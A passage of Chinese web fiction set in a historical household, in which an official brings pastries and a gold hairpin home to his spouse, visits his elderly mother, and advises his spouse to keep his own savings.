这就导致了,要么出现不孝顺的情况,要么就出现没办法管教孩子,或者是疏忽了伴侣的情况。 这样一看,这种后院里人多的人,注定不可能是好男人。 这一日,云长歇从工部回来,路上看到有卖糕点的,就想要给两个孩子带些。 后来想到他好久,没有送苏青箬礼物了,便顺道去首饰铺买了个簪子。 礼物可以不用心,但是一定要值钱。 值钱的礼物,实际上要比送几朵小花什么的有用多了。 因为这些值钱的礼物,都可以是苏青箬以后的底气。 不管是哪个时代,有钱没有钱的待遇是很明显的。 云长歇挑选了一个金簪,款式是最近京城比较流行的。 他带着糕点,簪子回去时,苏青箬正在院子里带两个孩子玩闹。 因为有一群下人看着,实际上苏青箬并不会特别的累。 他远远的听到,有下人给云长歇行礼,便连忙抬起头看了过去。 见确实是云长歇从外面回来了,他便招呼两个孩子一起迎了过去。 苏青箬笑道:“夫君,今天回来的挺早?” 云长歇回答:“今天工部没有什么事,我就提前回来了。” 他这样说着,把手里的礼物拿了出来。 礼物是三样糕点,与一把金簪。 三样糕点,一份是给柳氏的,一份是给苏青箬的,剩下那份是给孩子的。 两个孩子年岁相差了一些,但是两个人吃东西的口味却差不多。 下人们见状,上前把东西接了过去。 云长歇把两个孩子分别抱起来颠了颠,就把两个孩子交给了一旁的几个下人。 哎,他这样的文弱书生,白天在工部都是坐着工作,晚上回来也没有办法运动,身子骨跟寻常人相比还是有些瘦弱的。 苏青箬见他有点怕抱孩子,就忍不住偷偷地笑了笑。 他让下人们,把两个孩子哄到一边去玩,自己就陪着云长歇去见柳氏。 云长歇每一次回来,都会先去见一见柳氏。 如今柳氏年纪大了,她不是个喜欢立规矩的,也不想要为难苏青箬。 平日里呢,她不会让苏青箬去请安,吃完什么的也是分开吃的。 她现在喜欢吃素,若是让苏青箬与孩子跟她一起吃,绝对要把三个人给饿瘦了的。 夫夫两个人,一同去见了柳氏。 在柳氏那边说了一会儿话,就又一道回到了他们的主院。 今天的天气不错,正是不冷不热的四月初。 两个人路过主院的小花园,云长歇见花园里的花长得正好,想要伸手摘一朵给苏青箬戴上。 苏青箬见状连忙制止了他,“你干什么?这些花花草草是我带着下人辛苦养出来的,你可不能随便的糟蹋它们。” 云长歇闻言也不生气,反而笑着说道:“好好好,是我不对,是我不对。等到回去,我把今天买的簪子给你戴上。” 听到云长歇这样说,苏青箬这才高兴起来。 “我都多大岁数了,你还给我买什么簪子?你手里有那么多的银子,不如攒着给楼儿当嫁妆。” “他还小,他不到二十岁,我是不会放人的。如今距离他二十岁还远,他的嫁妆你不需要担心。还有就是,给你的就是你的,你不要想着都给孩子。你以后越是年纪大了,手里就越是要攥着银子。这样不管是两个孩子,还是未来哥婿未来儿媳,他们才能够尊敬你孝顺你。” 苏青箬的想法,没有云长歇那么多。 不过他有个优点,那就是他比较听话。 他知道,云长歇不会害他,自然就愿意听他的话。 “知道了,我自己留着就是。”【你现在阅读的是 】